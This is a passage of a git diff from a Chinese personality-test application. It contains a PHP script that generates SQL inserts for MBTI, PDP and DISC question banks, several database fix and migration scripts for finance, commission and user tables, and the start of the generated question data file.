'互动讨论,分享学习'], ['value' => 'Koala', 'text' => '循序渐进,反复练习'], ['value' => 'Owl', 'text' => '深入研究,系统学习'], ['value' => 'Chameleon', 'text' => '多种方式结合']]], + ['id' => 14, 'question' => '您对规则的态度是:', 'options' => [['value' => 'Tiger', 'text' => '规则是用来打破的'], ['value' => 'Peacock', 'text' => '灵活运用,不拘一格'], ['value' => 'Koala', 'text' => '遵守规则,维护秩序'], ['value' => 'Owl', 'text' => '严格遵守,确保合规'], ['value' => 'Chameleon', 'text' => '视情况灵活处理']]], + ['id' => 15, 'question' => '您在团队中的角色是:', 'options' => [['value' => 'Tiger', 'text' => '领导者,推动进展'], ['value' => 'Peacock', 'text' => '激励者,凝聚人心'], ['value' => 'Koala', 'text' => '协调者,维护和谐'], ['value' => 'Owl', 'text' => '专家,提供专业意见'], ['value' => 'Chameleon', 'text' => '多面手,灵活补位']]], + ['id' => 16, 'question' => '您的工作节奏是:', 'options' => [['value' => 'Tiger', 'text' => '快节奏,追求效率'], ['value' => 'Peacock', 'text' => '充满活力,变化多端'], ['value' => 'Koala', 'text' => '稳定有序,按部就班'], ['value' => 'Owl', 'text' => '有条理,精确执行'], ['value' => 'Chameleon', 'text' => '根据需要调整节奏']]], + ['id' => 17, 'question' => '您最大的优势是:', 'options' => [['value' => 'Tiger', 'text' => '决断力和执行力'], ['value' => 'Peacock', 'text' => '影响力和感染力'], ['value' => 'Koala', 'text' => '耐心和可靠性'], ['value' => 'Owl', 'text' => '分析力和准确性'], ['value' => 'Chameleon', 'text' => '适应力和灵活性']]], + ['id' => 18, 'question' => '您的人际关系特点是:', 'options' => [['value' => 'Tiger', 'text' => '目标导向,建立有价值的关系'], ['value' => 'Peacock', 'text' => '广泛社交,朋友众多'], ['value' => 'Koala', 'text' => '深度交往,关系稳定'], ['value' => 'Owl', 'text' => '选择性交往,志同道合'], ['value' => 'Chameleon', 'text' => '根据情况建立不同类型关系']]], + ['id' => 19, 'question' => '面对批评,您的反应是:', 'options' => [['value' => 'Tiger', 'text' => '可能会反驳或辩护'], ['value' => 'Peacock', 'text' => '可能会感到受伤'], ['value' => 'Koala', 'text' => '接受并思考改进'], ['value' => 'Owl', 'text' => '分析批评的合理性'], ['value' => 'Chameleon', 'text' => '根据情况调整反应']]], + ['id' => 20, 'question' => '您的理想工作环境是:', 'options' => [['value' => 'Tiger', 'text' => '充满挑战,自主权高'], ['value' => 'Peacock', 'text' => '互动频繁,氛围活跃'], ['value' => 'Koala', 'text' => '稳定和谐,团队协作'], ['value' => 'Owl', 'text' => '有序规范,专注质量'], ['value' => 'Chameleon', 'text' => '灵活多变,兼顾平衡']]], +]; + +// DISC 题库数据(从 disc-questions.ts 提取) +$discQuestions = [ + ['id' => 1, 'question' => '在团队中,您更倾向于:', 'options' => [['value' => 'D', 'text' => '主导决策,带领团队前进'], ['value' => 'I', 'text' => '活跃气氛,激励团队成员'], ['value' => 'S', 'text' => '支持他人,确保团队和谐'], ['value' => 'C', 'text' => '分析数据,确保决策质量']]], + ['id' => 2, 'question' => '面对挑战时,您的第一反应是:', 'options' => [['value' => 'D', 'text' => '立即行动,解决问题'], ['value' => 'I', 'text' => '寻找支持,团队协作'], ['value' => 'S', 'text' => '冷静思考,稳步推进'], ['value' => 'C', 'text' => '收集信息,谨慎分析']]], + ['id' => 3, 'question' => '您在工作中最看重的是:', 'options' => [['value' => 'D', 'text' => '成果和效率'], ['value' => 'I', 'text' => '认可和赞赏'], ['value' => 'S', 'text' => '稳定和安全'], ['value' => 'C', 'text' => '准确和质量']]], + ['id' => 4, 'question' => '与他人沟通时,您通常:', 'options' => [['value' => 'D', 'text' => '直接了当,注重结果'], ['value' => 'I', 'text' => '热情友好,善于表达'], ['value' => 'S', 'text' => '耐心倾听,体贴理解'], ['value' => 'C', 'text' => '逻辑清晰,注重细节']]], + ['id' => 5, 'question' => '压力之下,您会:', 'options' => [['value' => 'D', 'text' => '变得更加强势和控制'], ['value' => 'I', 'text' => '寻求他人支持和鼓励'], ['value' => 'S', 'text' => '保持冷静,按部就班'], ['value' => 'C', 'text' => '更加谨慎,反复确认']]], + ['id' => 6, 'question' => '您认为自己的优势是:', 'options' => [['value' => 'D', 'text' => '决断力强,行动迅速'], ['value' => 'I', 'text' => '人际关系好,善于激励'], ['value' => 'S', 'text' => '可靠稳定,团队协作'], ['value' => 'C', 'text' => '分析能力强,注重细节']]], + ['id' => 7, 'question' => '在会议中,您通常扮演的角色是:', 'options' => [['value' => 'D', 'text' => '主导者,推动决策'], ['value' => 'I', 'text' => '激励者,调动气氛'], ['value' => 'S', 'text' => '调和者,平衡各方'], ['value' => 'C', 'text' => '分析者,提供数据']]], + ['id' => 8, 'question' => '您最不喜欢的工作环境是:', 'options' => [['value' => 'D', 'text' => '缺乏挑战,进展缓慢'], ['value' => 'I', 'text' => '被孤立,缺乏互动'], ['value' => 'S', 'text' => '变化太快,不稳定'], ['value' => 'C', 'text' => '混乱无序,缺乏标准']]], + ['id' => 9, 'question' => '做决定时,您更依赖:', 'options' => [['value' => 'D', 'text' => '直觉和经验'], ['value' => 'I', 'text' => '他人的意见'], ['value' => 'S', 'text' => '过去的成功经验'], ['value' => 'C', 'text' => '数据和事实']]], + ['id' => 10, 'question' => '您的工作风格是:', 'options' => [['value' => 'D', 'text' => '快速高效,注重结果'], ['value' => 'I', 'text' => '灵活多变,充满创意'], ['value' => 'S', 'text' => '稳定持续,一步一步'], ['value' => 'C', 'text' => '严谨细致,追求完美']]], + ['id' => 11, 'question' => '遇到冲突时,您会:', 'options' => [['value' => 'D', 'text' => '直面冲突,解决问题'], ['value' => 'I', 'text' => '调解双方,化解矛盾'], ['value' => 'S', 'text' => '避免冲突,保持和谐'], ['value' => 'C', 'text' => '分析原因,找出根本']]], + ['id' => 12, 'question' => '您期望的领导风格是:', 'options' => [['value' => 'D', 'text' => '给予挑战和自主权'], ['value' => 'I', 'text' => '认可和表扬'], ['value' => 'S', 'text' => '稳定和支持'], ['value' => 'C', 'text' => '明确的指导和标准']]], + ['id' => 13, 'question' => '处理任务时,您更注重:', 'options' => [['value' => 'D', 'text' => '速度和效率'], ['value' => 'I', 'text' => '创意和新颖'], ['value' => 'S', 'text' => '过程和协作'], ['value' => 'C', 'text' => '质量和准确']]], + ['id' => 14, 'question' => '您的社交方式是:', 'options' => [['value' => 'D', 'text' => '目的明确,建立有价值的关系'], ['value' => 'I', 'text' => '广泛社交,认识各种人'], ['value' => 'S', 'text' => '深度交往,维护长期友谊'], ['value' => 'C', 'text' => '选择性社交,志同道合']]], + ['id' => 15, 'question' => '您理想的工作节奏是:', 'options' => [['value' => 'D', 'text' => '快节奏,充满挑战'], ['value' => 'I', 'text' => '灵活多变,充满活力'], ['value' => 'S', 'text' => '稳定有序,可预测的'], ['value' => 'C', 'text' => '有条理,按计划进行']]], + ['id' => 16, 'question' => '面对变化,您的态度是:', 'options' => [['value' => 'D', 'text' => '主动拥抱,寻找机会'], ['value' => 'I', 'text' => '积极适应,乐观面对'], ['value' => 'S', 'text' => '需要时间,逐步适应'], ['value' => 'C', 'text' => '谨慎评估,确保万无一失']]], + ['id' => 17, 'question' => '您的时间管理风格是:', 'options' => [['value' => 'D', 'text' => '高效利用,最大化产出'], ['value' => 'I', 'text' => '灵活安排,留有余地'], ['value' => 'S', 'text' => '按部就班,稳定执行'], ['value' => 'C', 'text' => '精确规划,严格执行']]], + ['id' => 18, 'question' => '激励您的是:', 'options' => [['value' => 'D', 'text' => '成就和控制'], ['value' => 'I', 'text' => '认可和社交'], ['value' => 'S', 'text' => '稳定和归属'], ['value' => 'C', 'text' => '正确和标准']]], + ['id' => 19, 'question' => '您处理细节的方式是:', 'options' => [['value' => 'D', 'text' => '关注大局,委托他人'], ['value' => 'I', 'text' => '可能忽略,更关注整体'], ['value' => 'S', 'text' => '认真对待,确保准确'], ['value' => 'C', 'text' => '极度重视,追求完美']]], + ['id' => 20, 'question' => '您对规则的态度是:', 'options' => [['value' => 'D', 'text' => '规则是用来打破的'], ['value' => 'I', 'text' => '灵活运用,不拘泥于规则'], ['value' => 'S', 'text' => '遵守规则,维护秩序'], ['value' => 'C', 'text' => '严格遵守,确保合规']]], +]; + +// 生成 SQL INSERT 语句 +function generateSQL($questions, $type, $enterpriseId = null) { + $sql = "-- {$type} 题库数据\n"; + $sql .= "-- enterpriseId: " . ($enterpriseId === null ? 'NULL (超管题库)' : $enterpriseId) . "\n\n"; + + foreach ($questions as $q) { + $optionsJson = json_encode($q['options'], JSON_UNESCAPED_UNICODE); + $dimension = isset($q['dimension']) ? "'" . addslashes($q['dimension']) . "'" : 'NULL'; + $enterpriseIdSql = $enterpriseId === null ? 'NULL' : $enterpriseId; + + $sql .= "INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES "; + $sql .= "('{$type}', '" . addslashes($q['question']) . "', '" . addslashes($optionsJson) . "', {$dimension}, {$enterpriseIdSql}, {$q['id']}, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP());\n"; + } + + return $sql . "\n"; +} + +// 生成完整的 SQL 文件 +$sqlContent = "-- ============================================\n"; +$sqlContent .= "-- 题库数据导入 SQL\n"; +$sqlContent .= "-- 来源:mbti2 项目\n"; +$sqlContent .= "-- 生成时间:" . date('Y-m-d H:i:s') . "\n"; +$sqlContent .= "-- ============================================\n\n"; +$sqlContent .= "SET NAMES utf8mb4;\n"; +$sqlContent .= "SET FOREIGN_KEY_CHECKS = 0;\n\n"; + +// 超管题库(enterpriseId = NULL) +$sqlContent .= "-- ============================================\n"; +$sqlContent .= "-- 超管题库(enterpriseId = NULL)\n"; +$sqlContent .= "-- ============================================\n\n"; +$sqlContent .= generateSQL($mbtiQuestions, 'mbti', null); +$sqlContent .= generateSQL($pdpQuestions, 'pdp', null); +$sqlContent .= generateSQL($discQuestions, 'disc', null); + +$sqlContent .= "SET FOREIGN_KEY_CHECKS = 1;\n"; + +// 保存到文件 +file_put_contents(__DIR__ . '/questions_data.sql', $sqlContent); + +echo "SQL 文件已生成:questions_data.sql\n"; +echo "MBTI 题目数:" . count($mbtiQuestions) . "\n"; +echo "PDP 题目数:" . count($pdpQuestions) . "\n"; +echo "DISC 题目数:" . count($discQuestions) . "\n"; +echo "总计:" . (count($mbtiQuestions) + count($pdpQuestions) + count($discQuestions)) . " 题\n"; + diff --git a/api/database/fix_finance_records_to_fen.sql b/api/database/fix_finance_records_to_fen.sql new file mode 100644 index 0000000..b3117bb --- /dev/null +++ b/api/database/fix_finance_records_to_fen.sql @@ -0,0 +1,14 @@ +-- 将 mbti_finance_records 的金额字段统一为分 +-- 适用于历史上 amount / balanceBefore / balanceAfter 按元(decimal)存储的场景 + +UPDATE `mbti_finance_records` +SET + `amount` = ROUND(`amount` * 100), + `balanceBefore` = ROUND(`balanceBefore` * 100), + `balanceAfter` = ROUND(`balanceAfter` * 100) +WHERE `amount` < 1000000 OR `balanceBefore` < 1000000 OR `balanceAfter` < 1000000; + +ALTER TABLE `mbti_finance_records` + MODIFY COLUMN `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + MODIFY COLUMN `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + MODIFY COLUMN `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)'; diff --git a/api/database/fix_test_completion_commission_records.sql b/api/database/fix_test_completion_commission_records.sql new file mode 100644 index 0000000..0db8629 --- /dev/null +++ b/api/database/fix_test_completion_commission_records.sql @@ -0,0 +1,24 @@ +-- 修复测试完成佣金历史脏数据 +-- 执行前请先确认表前缀是否为 mbti_ + +UPDATE `mbti_commission_records` `cr` +LEFT JOIN `mbti_test_results` `tr` ON `tr`.`id` = `cr`.`testResultId` +LEFT JOIN `mbti_distribution_bindings` `db` ON `db`.`id` = `cr`.`bindingId` +SET + `cr`.`commissionAmount` = ROUND(`cr`.`commissionFen` / 100, 2), + `cr`.`paidAt` = CASE + WHEN `cr`.`status` = 'paid' AND `cr`.`paidAt` IS NULL THEN `cr`.`createdAt` + ELSE `cr`.`paidAt` + END, + `cr`.`enterpriseId` = CASE + WHEN (`cr`.`enterpriseId` IS NULL OR `cr`.`enterpriseId` = 0) + THEN NULLIF(COALESCE(NULLIF(`tr`.`enterpriseId`, 0), NULLIF(`db`.`enterpriseId`, 0)), 0) + ELSE `cr`.`enterpriseId` + END +WHERE `cr`.`commissionSource` = 'test_completion' + AND ( + `cr`.`commissionAmount` IS NULL + OR `cr`.`commissionAmount` = 0 + OR (`cr`.`status` = 'paid' AND `cr`.`paidAt` IS NULL) + OR ((`cr`.`enterpriseId` IS NULL OR `cr`.`enterpriseId` = 0) AND ((`tr`.`enterpriseId` > 0) OR (`db`.`enterpriseId` > 0))) + ); diff --git a/api/database/migrations/add_birthday_to_wechat_users.sql b/api/database/migrations/add_birthday_to_wechat_users.sql new file mode 100644 index 0000000..ec12ba7 --- /dev/null +++ b/api/database/migrations/add_birthday_to_wechat_users.sql @@ -0,0 +1,3 @@ +-- 为 wechat_users 表添加 birthday 字段(个人资料页用) +-- 执行: 在数据库中运行此 SQL +ALTER TABLE `mbti_wechat_users` ADD COLUMN `birthday` varchar(20) NULL DEFAULT NULL COMMENT '生日,格式 YYYY-MM-DD' AFTER `city`; diff --git a/api/database/questions_data.sql b/api/database/questions_data.sql new file mode 100644 index 0000000..887480d --- /dev/null +++ b/api/database/questions_data.sql @@ -0,0 +1,166 @@ +-- ============================================ +-- 题库数据导入 SQL +-- 来源:mbti2 项目 +-- 生成时间:2026-02-12 15:24:36 +-- ============================================ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ============================================ +-- 检查并添加 dimension 字段(如果不存在) +-- ============================================ +-- 注意:如果字段已存在,此语句会报错,但可以忽略,不影响后续执行 +-- 如果您的 MySQL 版本支持,可以使用以下方式避免错误: +-- ALTER TABLE `mbti_questions` ADD COLUMN IF NOT EXISTS `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)' AFTER `options`; + +-- 如果字段不存在,执行以下语句添加: +-- ALTER TABLE `mbti_questions` ADD COLUMN `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)' AFTER `options`; + +-- ============================================ +-- 超管题库(enterpriseId = NULL) +-- ============================================ + +-- mbti 题库数据 +-- enterpriseId: NULL (超管题库) + +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在社交场合中,您通常会:', '[{\"value\":\"E\",\"text\":\"认识新朋友,扩大社交圈\"},{\"value\":\"I\",\"text\":\"与已认识的朋友交流,保持小圈子\"}]', 'EI', NULL, 1, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"E\",\"text\":\"在团队中工作,与他人合作\"},{\"value\":\"I\",\"text\":\"独立工作,自己思考问题\"}]', 'EI', NULL, 2, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当您需要充电时,您会选择:', '[{\"value\":\"E\",\"text\":\"与朋友聚会,参加社交活动\"},{\"value\":\"I\",\"text\":\"独处,阅读或进行个人爱好\"}]', 'EI', NULL, 3, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在会议或讨论中,您通常:', '[{\"value\":\"E\",\"text\":\"积极发言,边说边思考\"},{\"value\":\"I\",\"text\":\"先思考,然后再发表意见\"}]', 'EI', NULL, 4, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"E\",\"text\":\"认识很多人,建立广泛的社交网络\"},{\"value\":\"I\",\"text\":\"与少数几个人建立深厚的友谊\"}]', 'EI', NULL, 5, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在工作环境中,您更喜欢:', '[{\"value\":\"E\",\"text\":\"开放的办公空间,可以随时与同事交流\"},{\"value\":\"I\",\"text\":\"安静的私人空间,可以专注工作\"}]', 'EI', NULL, 6, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当面对问题时,您更倾向于:', '[{\"value\":\"E\",\"text\":\"与他人讨论,获取不同观点\"},{\"value\":\"I\",\"text\":\"独自思考,寻找解决方案\"}]', 'EI', NULL, 7, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的休闲活动是:', '[{\"value\":\"E\",\"text\":\"参加派对、团体活动或体育比赛\"},{\"value\":\"I\",\"text\":\"阅读、看电影或独自进行创作\"}]', 'EI', NULL, 8, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在陌生环境中,您通常会:', '[{\"value\":\"E\",\"text\":\"主动与他人交谈,快速融入环境\"},{\"value\":\"I\",\"text\":\"观察周围环境,等待他人接近\"}]', 'EI', NULL, 9, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您认为自己是:', '[{\"value\":\"E\",\"text\":\"外向、健谈的人\"},{\"value\":\"I\",\"text\":\"内敛、安静的人\"}]', 'EI', NULL, 10, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '长时间的社交活动后,您通常会:', '[{\"value\":\"E\",\"text\":\"感到精力充沛,想继续社交\"},{\"value\":\"I\",\"text\":\"感到疲惫,需要独处恢复精力\"}]', 'EI', NULL, 11, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作方式是:', '[{\"value\":\"E\",\"text\":\"与团队一起头脑风暴和协作\"},{\"value\":\"I\",\"text\":\"独立思考和解决问题\"}]', 'EI', NULL, 12, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更容易:', '[{\"value\":\"E\",\"text\":\"在说话的过程中组织思路\"},{\"value\":\"I\",\"text\":\"在说话前先组织好思路\"}]', 'EI', NULL, 13, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的学习方式是:', '[{\"value\":\"E\",\"text\":\"小组讨论和互动学习\"},{\"value\":\"I\",\"text\":\"自学和独立研究\"}]', 'EI', NULL, 14, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当您有好消息时,您会:', '[{\"value\":\"E\",\"text\":\"立即告诉朋友和家人分享喜悦\"},{\"value\":\"I\",\"text\":\"只告诉少数几个亲近的人\"}]', 'EI', NULL, 15, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的假期类型是:', '[{\"value\":\"E\",\"text\":\"热闹的旅游胜地,有很多活动和人\"},{\"value\":\"I\",\"text\":\"安静的度假地,可以放松和思考\"}]', 'EI', NULL, 16, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在团队项目中,您更倾向于:', '[{\"value\":\"E\",\"text\":\"担任协调者或发言人的角色\"},{\"value\":\"I\",\"text\":\"负责研究或分析的工作\"}]', 'EI', NULL, 17, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的通讯方式是:', '[{\"value\":\"E\",\"text\":\"面对面交谈或视频通话\"},{\"value\":\"I\",\"text\":\"电子邮件或文字消息\"}]', 'EI', NULL, 18, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当您遇到困难时,您更倾向于:', '[{\"value\":\"E\",\"text\":\"寻求他人的建议和支持\"},{\"value\":\"I\",\"text\":\"自己思考解决方案\"}]', 'EI', NULL, 19, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"E\",\"text\":\"充满活力和互动的环境\"},{\"value\":\"I\",\"text\":\"安静和专注的环境\"}]', 'EI', NULL, 20, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"E\",\"text\":\"在多个社交圈中活跃\"},{\"value\":\"I\",\"text\":\"在一个小圈子中深入交往\"}]', 'EI', NULL, 21, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"E\",\"text\":\"参加大型社交活动\"},{\"value\":\"I\",\"text\":\"与一两个朋友进行深入交流\"}]', 'EI', NULL, 22, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"E\",\"text\":\"在公共场合表达自己的想法\"},{\"value\":\"I\",\"text\":\"在私下或小范围内分享想法\"}]', 'EI', NULL, 23, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当面对新信息时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注具体细节和事实\"},{\"value\":\"N\",\"text\":\"寻找模式和可能性\"}]', 'SN', NULL, 24, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更相信:', '[{\"value\":\"S\",\"text\":\"实际经验和直接观察\"},{\"value\":\"N\",\"text\":\"直觉和想象力\"}]', 'SN', NULL, 25, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢处理:', '[{\"value\":\"S\",\"text\":\"已知的、确定的信息\"},{\"value\":\"N\",\"text\":\"理论性的、抽象的概念\"}]', 'SN', NULL, 26, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在解决问题时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"使用已证实有效的方法\"},{\"value\":\"N\",\"text\":\"尝试创新的解决方案\"}]', 'SN', NULL, 27, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更关注:', '[{\"value\":\"S\",\"text\":\"当下的现实和实际情况\"},{\"value\":\"N\",\"text\":\"未来的可能性和潜在发展\"}]', 'SN', NULL, 28, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作类型是:', '[{\"value\":\"S\",\"text\":\"有明确指导和具体步骤的工作\"},{\"value\":\"N\",\"text\":\"允许创新和探索的工作\"}]', 'SN', NULL, 29, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注实际和现实的细节\"},{\"value\":\"N\",\"text\":\"思考概念和理论\"}]', 'SN', NULL, 30, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的书籍或电影是:', '[{\"value\":\"S\",\"text\":\"基于现实的故事或纪实作品\"},{\"value\":\"N\",\"text\":\"科幻、奇幻或充满想象力的作品\"}]', 'SN', NULL, 31, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在学习新技能时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"按部就班地学习,掌握每个具体步骤\"},{\"value\":\"N\",\"text\":\"先了解整体概念,然后填补细节\"}]', 'SN', NULL, 32, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"S\",\"text\":\"有明确结构和规则的环境\"},{\"value\":\"N\",\"text\":\"灵活多变,鼓励创新的环境\"}]', 'SN', NULL, 33, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注现实和实际问题\"},{\"value\":\"N\",\"text\":\"思考未来和可能性\"}]', 'SN', NULL, 34, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在描述事物时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"提供具体细节和精确描述\"},{\"value\":\"N\",\"text\":\"使用比喻和隐喻,强调整体印象\"}]', 'SN', NULL, 35, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作任务是:', '[{\"value\":\"S\",\"text\":\"需要精确和注重细节的任务\"},{\"value\":\"N\",\"text\":\"需要创造力和想象力的任务\"}]', 'SN', NULL, 36, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更相信:', '[{\"value\":\"S\",\"text\":\"亲眼所见和实际经验\"},{\"value\":\"N\",\"text\":\"直觉和内在感受\"}]', 'SN', NULL, 37, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT 